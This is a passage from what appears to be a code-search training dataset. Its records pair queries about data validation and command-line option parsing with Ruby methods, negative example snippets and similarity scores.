[ "0.71073043", "0.70720774", "0.7029388", "0.6966272", "0.68718165", "0.68326324", "0.6767837", "0.6765271", "0.6722819", "0.66720086", "0.6652091", "0.6647991", "0.66367525", "0.65813124", "0.6524584", "0.6506438", "0.6464903", "0.6418978", "0.6318712", "0.63096637", "0.62469286", "0.6229687", "0.62205803", "0.62184554", "0.62139547", "0.6213506", "0.62026054", "0.6187307", "0.61570895", "0.6157058", "0.61567086", "0.61378014", "0.6123046", "0.6121173", "0.61055887", "0.61024034", "0.605207", "0.6051514", "0.60470444", "0.6031492", "0.6026015", "0.60204244", "0.60175323", "0.60130847", "0.5977182", "0.5959435", "0.5951282", "0.59484863", "0.59429383", "0.59398305", "0.5935177", "0.5934891", "0.59314597", "0.5917112", "0.590794", "0.590794", "0.5907349", "0.58958316", "0.58958316", "0.58958316", "0.58958316", "0.58958316", "0.58958316", "0.58958316", "0.5889", "0.5886465", "0.5885483", "0.5855054", "0.5855054", "0.5847904", "0.58442265", "0.58258766", "0.58237344", "0.5818911", "0.5817146", "0.5815124", "0.58054984", "0.5803328", "0.57841516", "0.5782325", "0.5782302", "0.5777256", "0.57723236", "0.57698286", "0.5765821", "0.57408696", "0.5740181", "0.57389164", "0.57380724", "0.573341", "0.5732166", "0.5729438", "0.5726026", "0.57174295", "0.57162935", "0.57162136", "0.57083786", "0.57028216", "0.5702067", "0.56980854", "0.5697671" ]
0.0
-1
Ensure we have valid data
def validate raise Tools::InvalidCommandException.new(command, AVAILABLE_COMMANDS) unless valid_command? raise Tools::MissingConfigurationException.new('You must specify a valid configuration file.') unless options.configuration_path end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def valid?\n data\n end", "def valid?\n data\n end", "def validate_data_format\n unless data.is_a?(Array)\n raise DataFormatError, \"Data set(s) should be given as an array\"\n end\n end", "def valid?\n @data && @errors.empty?\n end", "def validated_data\n @schema.validate(@data)\n end", "def emma_data_valid?\n if emma_data.blank?\n error(:emma_data, :missing)\n else\n check_required(database_fields[:emma_data], emma_metadata)\n end\n errors.empty?\n end", "def valid_data_on_creation?\n valid_data_on_creation\n end", "def validate!(data)\n fail UnexpectedTypeError, 'A Hash was expected' unless data.is_a? Hash\n end", "def check_validity!\n # nothing\n end", "def valid?\n @data && reader.valid_header? && metadata != :invalid\n end", "def is_valid?\n raise Exception\n end", "def validate!(data)\n keys.each do |key|\n raise InvalidSchemaError.new(\"missing key #{key}\") unless data.key?(key)\n end\n end", "def validate_peer_data!(data)\n\t\t\t[:uuid,:host,:port].each{|k|\n\t\t\t\tdata[k] || fail(\"Peer data does not meet requirements. #{k} is a required field. See Hive documentation.\")\n\t\t\t}\n\t\t\tkeys = peer_fields.keys\n\t\t\tdata.keys.each{|k|\n\t\t\t\tkeys.include?(k) || warn(\"Provided key #{k} will not be stored with peer data\")\n\t\t\t}\n\t\t\ttrue\n\t\tend", "def valid?; end", "def valid?; end", "def valid?; end", "def valid?; end", "def valid?; end", "def valid; end", "def validate_data\n inputs = Set.new(node.in_slots.map(&:carrier))\n effs = Set.new(dependencies)\n\n unless inputs.subset?(effs)\n # One or more efficiencies are missing.\n errors.add(:base, error_msg(:efficiencies, inputs, effs))\n end\n\n unless effs.subset?(inputs)\n # One or more input shares are missing.\n errors.add(:base, error_msg(:inputs, effs, inputs))\n end\n end", "def data_nil?\n raise 'You must use the parse method to populate the data attribute first' if @data.nil?\n end", "def validate_input(data)\r\n @field_names[1..-1].each do |f|\r\n next if data[f].nil?\r\n\r\n raise 'Invalid data %s for column %s' % [data[f], f] unless \\\r\n KBTable.valid_data_type?(@field_types[@field_names.index(f)],\r\n data[f])\r\n end\r\n end", "def validate!\n validator.validate(data: data, schema: schema, logger: validation_logger)\n end", "def validate_todo_data(todo_data)\n ##----------------\n ## Required values\n ##----------------\n required = %i{ todo_base\n source\n workspace\n compressed_destination\n glacier_description\n glacier_vault\n application\n method\n }\n missing = required.select { |key| todo_data[key].to_s.strip.empty? }.map(&:inspect)\n raise \"Required todo values missing: #{missing.join(', ')}\" unless missing.empty?\n\n ##------------------------------------\n ## Verify compressed archived checking\n ##------------------------------------\n verify = todo_data[:verify_compressed_archive].to_s.strip.downcase\n return if ['', 'false'].include?(verify) # No verification to do; end validation\n # We have a non-false verify value; unless it's 'true', it's not a valid value.\n raise \":verify_compressed_archive must be '', 'true'. or 'false'; got: '#{verify}'\" unless verify == 'true'\n\n # ':verify_compressed_archive' is true; make sure :verification_destination\n # is defined.\n if todo_data[:verification_destination].to_s.strip.empty?\n raise \"':verification_destination' must be supplied if ':verify_compressed_archive' is 'true'\"\n end\n\n end", "def valid(data)\n return data && data[0] && data[1]\n end", "def emma_data_valid?\n if active_emma_data.blank?\n error(:emma_data, :missing)\n else\n check_required(upload_fields[:emma_data], active_emma_metadata)\n end\n errors.empty?\n end", "def validate_data\n #first remove any old errors from the table\n self.dataerrors.clear\n \n @s = [] \n # check the necessary fields in the table\n # use the build method so the polymorphic reference is generated cleanly\n # check for the relationships t other tables\n if self.rate_id.blank? && self.rate_override.blank?\n @s.push self.dataerrors.build(:message => \"A rate or override rate must be entered\", :created_user => self.created_user) \n end\n \n #if there are errors, save them to the dataerrors table and return false\n if @s.count > 0\n Dataerror.store(@s) \n return false\n end\n #everything is good, return true\n return true\n end", "def assert_valid\n raise ValidationError, \"no name\" unless name\n raise ValidationError, \"no version\" unless version\n raise ValidationError, \"no summary\" unless summary\n #raise ValidationError, \"no maintainer\" unless maintainer\n #raise ValidationError, \"no homepage\" unless homepage\n end", "def check_required_fields(data)\r\n @field_names[1..-1].each do |f|\r\n raise(ArgumentError,\r\n 'A value for this field is required: %s' % f) if \\\r\n @field_requireds[@field_names.index(f)] and data[f].nil? \r\n end\r\n end", "def validate_data\n raise Error, \"no user found associated with #{@database}\" unless @user\n raise Error, \"password not defined for #{@user}@#{@database}\" unless @password\n end", "def check_course_data_validity(course_data)\n schema = {\n 'type' => 'object',\n 'required' => %w(Name Code CourseTemplateId SemesterId\n StartDate EndDate LocaleId ForceLocale\n ShowAddressBook),\n 'properties' => {\n 'Name' => { 'type' => 'string' },\n 'Code' => { 'type' => 'string' },\n 'CourseTemplateId' => { 'type' => 'integer' },\n 'SemesterId' => { 'type' => %w(integer null) },\n 'StartDate' => { 'type' => %w(string null) },\n 'EndDate' => { 'type' => %w(string null) },\n 'LocaleId' => { 'type' => %w(integer null) },\n 'ForceLocale' => { 'type' => 'boolean' },\n 'ShowAddressBook' => { 'type' => 'boolean' }\n }\n }\n JSON::Validator.validate!(schema, course_data, validate_schema: true)\nend", "def validate(data_value, data_type=nil)\n #TODO: port from python runtime\n end", "def validate(data_value, data_type=nil)\n #TODO: port from python runtime\n end", "def check_data(data, model, region, configuration)\n brand = model[:brand]\n series = model[:series]\n style = model[:style]\n province_id = region[:province_id]\n city_id = region[:city_id]\n\n case\n when data[:price].blank? || data[:price] == 0\n raise Error::InvalidPrice, @record\n when data[:mileage].blank?\n raise Error::InvalidMileage, @record\n when data[:licensed_at].blank?\n raise Error::InvalidLicensedAt, @record\n when data[:images].size <= 0\n raise Error::EmptyImages, @record\n when !Helper.valid_model?(brand)\n raise Error::InvalidBrand, @record\n when !Helper.valid_model?(series)\n raise Error::InvalidSeries, @record\n when !Helper.valid_model?(style)\n raise Error::InvalidStyle, @record\n when province_id.blank?\n raise Error::InvalidProvince, @record\n when city_id.blank?\n raise Error::InvalidCity, @record\n when configuration[:displacement].blank?\n raise Error::InvalidConfiguration, @record\n end\n end", "def assert_valid\n @validator = validator\n assert @validator.validate(data_sample, fail_fast: true)\n assert @validator.validate(data_sample, fail_fast: false)\n end", "def _validate_section_data(data)\n valid_keys = ['Section', 'Places', 'Participants', 'Nonparticipants']\n err 'not an array of hashes' unless\n Array === data and data.all? { |x| Hash === x }\n err 'missing keys Section and Places' unless\n data.all? { |h| h.key? \"Section\" and h.key? \"Places\" }\n unless data.all? { |h| (h.keys - valid_keys).empty? }\n err 'invalid key'\n end\n end", "def validate\r\n validate! rescue false\r\n end", "def valid? job_data\n job_data[\"identifier\"] && job_data[\"data\"]\n rescue\n false\n end", "def subscription_data_valid?\n # empty credential file\"s size is about 50-55.\n # 65 is when you have a very short email, password, and save_path.\n # So when you filled in data, probably will > 65.\n if CREDENTIAL_FILE.size < 65\n abort \"Did you fill in your subscription data in #{CREDENTIAL_FILE}?\"\n return false\n end\n\n credential_data_valid?(get_validate load_credential_data)\n end", "def check_updated_course_data_validity(course_data)\n schema = {\n 'type' => 'object',\n 'required' => %w(Name Code StartDate EndDate IsActive),\n 'properties' => {\n 'Name' => { 'type' => 'string' },\n 'Code' => { 'type' => 'string' },\n 'StartDate' => { 'type' => %w(string null) },\n 'EndDate' => { 'type' => %w(string null) },\n 'IsActive' => { 'type' => 'boolean' }\n }\n }\n JSON::Validator.validate!(schema, course_data, validate_schema: true)\nend", "def looks_valid?\n check!(false).empty?\n end", "def validate_data!(filename)\n unless self.data.is_a?(Hash)\n raise Errors::InvalidYAMLFrontMatterError,\n \"Invalid YAML front matter in #{filename}\"\n end\n end", "def validated?; end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n if @metadata.nil?\n return false\n end\n\n \n \n \n \n \n \n \n \n end", "def valid?\n raise Errors::NotImplementedError\n end", "def valid_insert?(data)\n return false if data.nil?\n return false if data.keys.length == 0\n\n # Required fields\n @fields.each do |k,s|\n return false if s.has_key?(:required) and s[:required] == true and !data.has_key?(k)\n end\n\n # Only valid fields, length checking\n data.each_key do |k|\n return false if [email protected]_key?(k)\n return false if @fields[k].has_key?(:length) and\n !data[k].nil? and\n data[k].length > @fields[k][:length]\n end\n\n return true\n end", "def validate_input\n problems = test_input\n raise OperationalError, \"Found the following problems: #{problems}\" unless problems.empty?\n end", "def valid?\n raise NotImplementedError\n end", "def valid?\n @errors << :title if [email protected]_a?(String) || @title.empty?\n @errors << :author if [email protected]_a?(String) || @author.empty?\n @errors << :release_date unless @release_date.is_a?(Date)\n @errors << :publisher if [email protected]_a?(String) || @publisher.empty?\n @errors << :isbn unless @isbn.is_a?(Integer) && @isbn < 10**10 && @isbn >= 10**9\n \n @errors.empty?\n end", "def valid?\n true\n end", "def check_org_unit_updated_data_validity(org_unit_data)\n schema = {\n 'type' => 'object',\n 'required' => %w(Identifier Name Code Path Type),\n 'properties' => {\n 'Identifier' => { 'type' => 'string' },\n 'Name' => { 'type' => 'string' },\n 'Code' => { 'type' => 'string' },\n 'Path' => { 'type' => 'string' },\n 'Type' => {\n 'required' => %w(Id Code Name),\n 'properties' => {\n 'Id' => { 'type' => 'integer' },\n 'Code' => { 'type' => 'string' },\n 'Name' => { 'type' => 'string' }\n }\n }\n }\n }\n JSON::Validator.validate!(schema, org_unit_data, validate_schema: true)\nend", "def invalid_data\n {\n :title => \"\",\n :description => nil,\n :parent_id => \"ss\"\n } \n end", "def validate_data\n @state = true\n #store the original error count, if there is a chnage to the count, then we want to update all associated insurance_billings and balance_bills\n @original_count = self.dataerrors.count\n #first remove any old errors from the table\n self.dataerrors.clear\n\n @s = []\n # check the necessary fields in the table\n # use the build method so the polymorphic reference is generated cleanly\n @s.push self.dataerrors.build(:message => \"Provider first name is blank\", :created_user => self.created_user) if self.first_name.blank?\n @s.push self.dataerrors.build(:message => \"Provider last name is blank\", :created_user => self.created_user) if self.last_name.blank?\n @s.push self.dataerrors.build(:message => \"Provider NPI is required\", :created_user => self.created_user) if self.npi.blank?\n #either the ein or ssn is required\n @s.push self.dataerrors.build(:message => \"EIN or SSN is required\", :created_user => self.created_user) if self.ssn_number.blank? && self.ein_number.blank?\n @s.push self.dataerrors.build(:message => \"Office phone is required\", :created_user => self.created_user) if self.office_phone.blank?\n\n #if there are errors, save them to the dataerrors table and return false\n if @s.count > 0\n Dataerror.store(@s)\n @state = false\n end\n #if the error counts changed, then update all insurance_bill & balance bills\n if @original_count != @s.count\n self.insurance_billings.each { |billing| billing.validate_claim }\n # need to rethink the validate\n # self.balance_bill_sessions.each { |balance| balance.validate_balance_bill }\n end\n return @state\n end", "def valid?\n schema_validator.validate(schema, raw_data)\n end", "def valid?\n raise_error(@resource['error']) if ok? || error?\n end", "def check_course_template_data_validity(course_template_data)\n schema = {\n 'type' => 'object',\n 'required' => %w(Name Code Path ParentOrgUnitIds),\n 'properties' => {\n 'Name' => { 'type' => 'string' },\n 'Code' => { 'type' => 'string' },\n 'Path' => { 'type' => 'string' },\n 'ParentOrgUnitIds' => {\n 'type' => 'array',\n 'items' => { 'type' => 'integer', 'minItems' => 1 }\n }\n }\n }\n JSON::Validator.validate!(schema, course_template_data, validate_schema: true)\nend", "def valid?\n filled?\n end", "def check_org_unit_data_validity(org_unit_data)\n schema = {\n 'type' => 'object',\n 'required' => %w(Type Name Code Parents),\n 'properties' => {\n 'Type' => { 'type' => 'integer' },\n 'Name' => { 'type' => 'string' },\n 'Code' => { 'type' => 'string' },\n 'Parents' => {\n 'type' => 'array',\n 'items' => { 'type' => 'integer', 'minItems' => 1 }\n }\n }\n }\n JSON::Validator.validate!(schema, org_unit_data, validate_schema: true)\nend", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n return true\n end", "def valid?\n fetch { errors.empty? }\n end", "def check_errors\n unless valid? \n bigmessage = self.errors.full_messages.join \"\\n\" \n raise bigmessage unless bigmessage.empty?\n \n raise \"format should not be nil\" if format.nil?\n raise \"invalid format #{format}\" unless format.valid? \n raise \"#{self.errors.to_a}, error encountered while saving #{@datafile_id}, #{@bitstream_id} \" \n end\n end", "def valid?\n false\n end", "def valid?\n expected = {}\n\n count = 0\n self.each_unsafe do |k,v|\n return false if @data[k][2] != v\n count += 1\n end\n count == @data.count\n end", "def valid?\n raise NotImplementedError\n end", "def validate_data(function_name,data)\n data_summary = {}\n data.each do |v|\n v.each do |key,val|\n\n if (data_summary[key].nil?)\n data_summary[key] = 1\n else\n data_summary[key] = data_summary[key]+1\n end\n end\n end\n if ( data_summary.max.last == 0 ) #TODO Check method\n @errors << \"[Warning] #{function_name} No data set.\"\n end\n data_summary.each do |k,v|\n if v < data_summary.max.last\n @errors << \"#{function_name} Missing Data in serie #{key}\"\n end\n end\n return data\n end", "def valid?\n true\n end", "def valid?\n true\n end", "def valid?\n true\n end" ]
[ "0.71942085", "0.71942085", "0.69496465", "0.6933194", "0.68795663", "0.68310964", "0.671113", "0.65972954", "0.65937245", "0.65737116", "0.65345323", "0.65303195", "0.64967173", "0.64828193", "0.64828193", "0.64828193", "0.64828193", "0.64828193", "0.6425028", "0.64241445", "0.64201975", "0.63833064", "0.6370239", "0.6348245", "0.6328039", "0.63112164", "0.6243501", "0.6240461", "0.62346417", "0.6220319", "0.616978", "0.61681956", "0.61681956", "0.616224", "0.6149335", "0.6148301", "0.6140442", "0.61359996", "0.613542", "0.61276037", "0.6118434", "0.6116124", "0.61028564", "0.6099514", "0.6099514", "0.6099514", "0.6099514", "0.6099514", "0.6086136", "0.6085561", "0.60734004", "0.60644585", "0.60622156", "0.60530365", "0.60497403", "0.6047599", "0.6046", "0.60454285", "0.6041613", "0.60383534", "0.6030528", "0.6027168", "0.6023385", "0.60220754", "0.60220754", "0.60220754", "0.60220754", "0.60220754", "0.60220754", "0.60220754", "0.60220754", "0.60220754", "0.60220754", "0.60220754", "0.60220754", "0.60220754", "0.60220754", "0.60220754", "0.60220754", "0.60220754", "0.60220754", "0.60220754", "0.60220754", "0.60220754", "0.60220754", "0.60220754", "0.60220754", "0.60220754", "0.60220754", "0.60220754", "0.60220754", "0.60220754", "0.6019757", "0.6011615", "0.6008715", "0.60067743", "0.59994686", "0.5999135", "0.5995349", "0.5995349", "0.5995349" ]
0.0
-1
CLI option parsing singleton
def option_parser @parser ||= OptionParser.new do |opts| opts.banner = "Usage: ./tools [#{AVAILABLE_COMMANDS.join('|')}] <options>" # Allow user to choose a different configuration file opts.on('-c', '--config [path]', 'Change configuration file from default.') do |path| options.configuration_path = path end # View program help opts.on_tail('-h', '--help', 'See program help.') do puts opts exit end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def parse_opts\n option_parser.parse(@argv)\n end", "def parse_options(opts, args); end", "def parse_cli\n require 'getoptlong'\n require 'rdoc/usage'\n \n opts = GetoptLong.new(\n [ '--help', '-h', GetoptLong::NO_ARGUMENT ],\n [ \"--quote-terms\", '-q', GetoptLong::NO_ARGUMENT ]\n )\n \nend", "def parse_options=(_arg0); end", "def parse_options=(_arg0); end", "def parse_options; end", "def parse_options; end", "def parse\n parser.parse(ARGV)\n @options\n rescue OptionParser::InvalidOption => e\n puts e\n puts parser\n #p @options\n exit(1)\n end", "def parse_command\n log_and_exit read_template('help') if @input.empty?\n @command = @input.shift\n \n while @input.any?\n opt = @input.shift\n \n if opt =~ /^--(\\w+)(=(\"[^\"]+\"|[\\w]+))*/\n name = $1\n value = $3 ? $3.gsub(/\"/, \"\") : true\n @named_options[name] = value\n else\n @options << opt\n end\n end\n end", "def parse(args = nil)\n\t\t\t\targs ||= {}\n\t\t\t\t# Create options\n\t\t\t\tnoat = [:bool, :action]\n\t\t\t\tsopts = @options.each_value.collect { |option| [option[:long], option[:short], noat.include?(option[:type]) ? GetoptLong::NO_ARGUMENT : GetoptLong::REQUIRED_ARGUMENT] }\n\n\t\t\t\topts = GetoptLong.new(*sopts)\n\t\t\t\topts.quiet = true\n\n\t\t\t\t# Parse option\n\t\t\t\tbegin\n\t\t\t\t\topts.each do |given, arg|\n\t\t\t\t\t\toptname = @options_map[given]\n\t\t\t\t\t\toption = @options[optname]\n\t\t\t\t\t\tvalue = nil\n\n\t\t\t\t\t\t# VALIDATE ARGUMENT DUE TO CASE\n\t\t\t\t\t\tcase option[:type]\n\t\t\t\t\t\t\twhen :string then\n\t\t\t\t\t\t\t\tvalue = arg\n\t\t\t\t\t\t\twhen :int then\n\t\t\t\t\t\t\t\tif arg.strip =~ /^(-?)(\\d+)$/ then\n\t\t\t\t\t\t\t\t\tvalue = arg.to_i(10)\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\[email protected](msg: \"Argument of option \\\"#{given}\\\" must be an integer.\", dots: false)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\twhen :float then\n\t\t\t\t\t\t\t\tif arg.strip =~ /^(-?)(\\d*)(\\.(\\d+))?$/ && arg.strip() != \".\" then\n\t\t\t\t\t\t\t\t\tvalue = arg.to_f\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\[email protected](msg: \"Argument of option \\\"#{given}\\\" must be a float.\", dots: false)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\twhen :choice then\n\t\t\t\t\t\t\t\tif @options[optname].choices.find_index { |choice| arg =~ choice } then\n\t\t\t\t\t\t\t\t\tvalue = arg\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\[email protected](msg: \"Invalid argument (invalid choice) for option \\\"#{given}\\\".\", dots: false)\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\twhen :list then\n\t\t\t\t\t\t\t\tvalue = arg.split(\",\")\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tvalue = true\n\t\t\t\t\t\tend\n\n\t\t\t\t\t\t@options[optname][:value] = value\n\t\t\t\t\tend\n\t\t\t\trescue StandardError => exception\n\t\t\t\t\tif exception.message =~ /.+-- (.+)$/ then\n\t\t\t\t\t\tgiven = $1\n\n\t\t\t\t\t\tif exception.is_a?(GetoptLong::InvalidOption) then\n\t\t\t\t\t\t\[email protected](msg: \"Unknown option \\\"#{given}\\\".\", dots: false) if !args[:ignore_unknown]\n\t\t\t\t\t\telsif exception.is_a?(GetoptLong::MissingArgument) then\n\t\t\t\t\t\t\[email protected](msg: \"Option \\\"-#{given}\\\" requires an argument.\", dots: false)\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\[email protected](\"Unexpected error: #{exc.message}.\")\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t\t# SET OTHER ARGUMENTS\n\t\t\t\t@args = ARGV\n\n\t\t\t\t# CHECK IF HELP WAS REQUESTED\n\t\t\t\tif self.provided?(\"help\") && !args[:ignore_help] then\n\t\t\t\t\tself.print_help\n\t\t\t\t\texit(0)\n\t\t\t\tend\n\n\t\t\t\t# NOW CHECK IF SOME REQUIRED OPTION WAS NOT SPECIFIED OR IF WE HAVE TO EXECUTE AN ACTION\n\t\t\t\t@inserted[:name].each do |key|\n\t\t\t\t\toption = @options[key]\n\n\t\t\t\t\tif option[:required] == true && option[:value] == nil then\n\t\t\t\t\t\[email protected](msg: \"Required option \\\"#{option[:name]}\\\" not specified.\", dots: false)\n\t\t\t\t\telsif option[:value] == true && option[:type] == :action then\n\t\t\t\t\t\toption.action.call\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend", "def parse!( args )\n @args = args\n @options.grep!(args)\n end", "def option_parser #:nodoc:\n @option_parser ||= OptionParser.new do |opts|\n opts.banner = \"Usage: #{File.basename($0)} [options] action ...\"\n\n opts.on(\"-d\", \"--debug\",\n \"Prompts before each remote command execution.\"\n ) { |value| options[:debug] = true }\n\n opts.on(\"-e\", \"--explain TASK\",\n \"Displays help (if available) for the task.\"\n ) { |value| options[:explain] = value }\n\n opts.on(\"-F\", \"--default-config\",\n \"Always use default config, even with -f.\"\n ) { options[:default_config] = true }\n\n opts.on(\"-f\", \"--file FILE\",\n \"A recipe file to load. May be given more than once.\"\n ) { |value| options[:recipes] << value }\n\n opts.on(\"-H\", \"--long-help\", \"Explain these options and environment variables.\") do\n long_help\n exit\n end\n\n opts.on(\"-h\", \"--help\", \"Display this help message.\") do\n puts opts\n exit\n end\n\n opts.on(\"-n\", \"--dry-run\",\n \"Prints out commands without running them.\"\n ) { |value| options[:dry_run] = true }\n\n opts.on(\"-p\", \"--password\",\n \"Immediately prompt for the password.\"\n ) { options[:password] = nil }\n\n opts.on(\"-q\", \"--quiet\",\n \"Make the output as quiet as possible.\"\n ) { options[:verbose] = 0 }\n\n opts.on(\"-S\", \"--set-before NAME=VALUE\",\n \"Set a variable before the recipes are loaded.\"\n ) do |pair|\n name, value = pair.split(/=/, 2)\n options[:pre_vars][name.to_sym] = value\n end\n\n opts.on(\"-s\", \"--set NAME=VALUE\",\n \"Set a variable after the recipes are loaded.\"\n ) do |pair|\n name, value = pair.split(/=/, 2)\n options[:vars][name.to_sym] = value\n end\n\n opts.on(\"-T\", \"--tasks [PATTERN]\",\n \"List all tasks (matching optional PATTERN) in the loaded recipe files.\"\n ) do |value|\n options[:tasks] = if value\n value\n else\n true\n end\n options[:verbose] ||= 0\n end\n\n opts.on(\"-t\", \"--tool\",\n \"Abbreviates the output of -T for tool integration.\"\n ) { options[:tool] = true }\n\n opts.on(\"-V\", \"--version\",\n \"Display the Capistrano version, and exit.\"\n ) do\n require 'capistrano/version'\n puts \"Capistrano v#{Capistrano::Version::STRING}\"\n exit\n end\n\n opts.on(\"-v\", \"--verbose\",\n \"Be more verbose. May be given more than once.\"\n ) do\n options[:verbose] ||= 0\n options[:verbose] += 1\n end\n\n opts.on(\"-X\", \"--skip-system-config\",\n \"Don't load the system config file (capistrano.conf)\"\n ) { options.delete(:sysconf) }\n\n opts.on(\"-x\", \"--skip-user-config\",\n \"Don't load the user config file (.caprc)\"\n ) { options.delete(:dotfile) }\n end\n end", "def create_and_parse_cli_options\n opt = OptionParser.new\n\n opt.on(\"--host HOST\", \"-h\", \"Management IP address or hostname\") do |v|\n @options[:host] = v\n end\n\n opt.on(\"--vendor VENDOR\", \"-p\", \"Hardware vendor\") do |v|\n @options[:vendor] = v\n end\n\n opt.on(\"--model MODEL\", \"-m\", \"Hardware model\") do |v|\n @options[:model] = v\n end\n\n opt.on(\"--community COMMUNITY\", \"-c\", \"SNMP community\") do |v|\n @options[:community] = v\n end\n\n opt.on(\"--version VERSION\", \"-v\", \"SNMP version\") do |v|\n @options[:version] = v\n end\n\n opt.on(\"--debug\", \"Enable debug output\") do |_v|\n @options[:debug] = true\n @debug = true\n end\n\n opt.on(\"--cache-results\", \"Store results output as JSON in /tmp\") do |_v|\n @options[:cache_results] = true\n end\n\n opt.parse!\n end", "def parse!() options.parse!(self) end", "def parse\n @opts = OptionParser.new { |opts| process_opts(opts) }\n @opts.parse!(@args)\n\n process_args\n\n @options\n end", "def parse_command_line()\n opts = GetoptLong.new(\n [ \"--input-file\" , \"-i\", GetoptLong::REQUIRED_ARGUMENT ],\n [ \"--verbose\" , \"-v\", GetoptLong::NO_ARGUMENT ]\n )\n #----------------------------- defaults\n\n opts.each do |opt, arg|\n if (opt == \"--input-file\" ) ; $input_file = arg\n elsif (opt == \"--verbose\" ) ; $verbose = 1\n end\n\n if ($verbose != 0) ; puts \"Option: #{opt}, arg #{arg.inspect}\" ; end\n end\nend", "def parse_options\n @opts = Slop.parse do |o| \n o.string '-f1', '--file1', 'First source file'\n o.string '-f2', '--file2', 'Second source file'\n o.on '-v', '--version' do\n puts Slop::VERSION\n end\n end\n rescue Exception => e\n raise\n end", "def parse(args)\n begin \n opt_parser.parse!(args)\n rescue ::OptionParser::InvalidOption => e\n puts help\n exit(1)\n end\n options\n end", "def optparse!(argv) # rubocop:disable Metrics/MethodLength\n options = Options.new\n option_parser = OptionParser.new do |parser|\n parser.banner = \"Usage: #{parser.program_name} [options]\"\n parser.on('-hHOST', '--host=HOST', 'Coursemology host to connect to') do |host|\n options.host = host\n end\n\n parser.on('-tTOKEN', '--api-token=TOKEN') do |token|\n options.api_token = token\n end\n\n parser.on('-uUSER', '--api-user-email=USER') do |user|\n options.api_user_email = user\n end\n\n parser.on('-o', '--one-shot') do\n options.one_shot = true\n end\n end\n\n option_parser.parse!(argv)\n options\n end", "def optParse\n OptionParser.new do |o|\n o.on('-v', 'Be more verbose.') { |i|\n self[:verbose] += 1\n }\n o.on('-V', '--version', 'Show version & exit.') { |i|\n puts Meta::VERSION\n exit EX_OK\n }\n o.on('--config NAME',\n \"Set a config name or file\",\n \"(default is #{@conf[:config_name]}).\") {|arg|\n @conf[:config_name] = arg\n }\n o.on('--config-dirs', 'Show possible config locations.') {\n mark = false\n @conf[:config_dirs].each { |idx|\n f = Pathname(idx) + @conf[:config_name]\n if File.file?(f) && !mark\n puts \"* #{f}\"\n mark = true\n else\n puts \" #{f}\"\n end\n }\n exit EX_OK\n }\n\n yield o if block_given?\n o.banner = @conf[:banner]\n\n env = nil\n env = ENV[@conf[:config_env]].shellsplit if ENV.key?(@conf[:config_env])\n\n begin\n [env, ARGV].each { |i| o.parse!(i) if i }\n rescue\n CliUtils.errx EX_USAGE, $!.to_s\n end\n end\n end", "def parse\n # The options specified on the command line will be collected in *options*.\n # We set default values here.\n OptionParser.new { |options| parse_options options}.parse!(@args)\n @options\n end", "def parse_command_line &block\n data = {}\n\n OptionParser.new do |opts|\n opts.banner = \"Usage: #{File.basename($0)} [options]\"\n\n opts.on(\"-c CONFIG\", \"--conf CONFIG\", \"YAML config file\") do |config|\n data[\"config\"] = config\n end\n\n opts.on(\"-p PARAMS\", \"--params PARAMS\", \"Additional default options - key: value as JSON string, override values from config file\") do |params|\n data[\"params\"] = JSON.parse(params)\n end\n\n # process custom args, if given\n block.call(opts) if block_given?\n\n opts.on_tail('-h', '--help', 'display this help and exit') do\n puts opts\n exit\n# return nil\n end\n\n# begin\n opts.parse(ARGV)\n# rescue OptionParser::InvalidOption\n# # do nothing\n# end\n\n end\n\n @args = data\n end", "def parse!(argv)\n\t\t$log.debug(\"#{self.class}.#{__method__}('#{argv.join(\" \")}'#{block_given? ? ',&block' : ''})\")\n\t\tif (argv.size == 0)\n\t\t\traise OptionParser::InvalidArgument, \"No arguments specified.\"\n\t\tend\n\n\t\t# @options is used to store recognized command-line args\n\t\t@options = Hash.new\n\t\twhile arg = argv.shift\n\t\t\tcase arg\n\t\t\twhen \"-cmd\"\n\t\t\t\t@command = argv.shift\n\t\t\twhen \"-debug\"\n\t\t\t\t$log.level = Logger::DEBUG\n\t\t\t\t$logerr.level = Logger::DEBUG\n\t\t\twhen \"-opt\"\n\t\t\t\t@options[:dataset] = argv.shift\n\t\t\twhen \"-path\"\n\t\t\t\t@options[:path] = argv.shift\n\t\t\twhen \"-target\"\n\t\t\t\t@options[:target] = argv.shift\n\t\t\twhen \"-log\"\n\t\t\t\tlevel = $log.level\n\t\t\t\tlog_path = argv.shift\n\t\t\t\t$log = Logger.new(log_path)\n\t\t\t\t$log.level = level\n\t\t\t\t$logerr = Logger.new(log_path)\n\t\t\t\t$logerr.level = level\n\t\t\telse\n\t\t\t\targv.unshift(arg)\n\t\t\t\tif block_given?\n\t\t\t\t\tunless (argv = 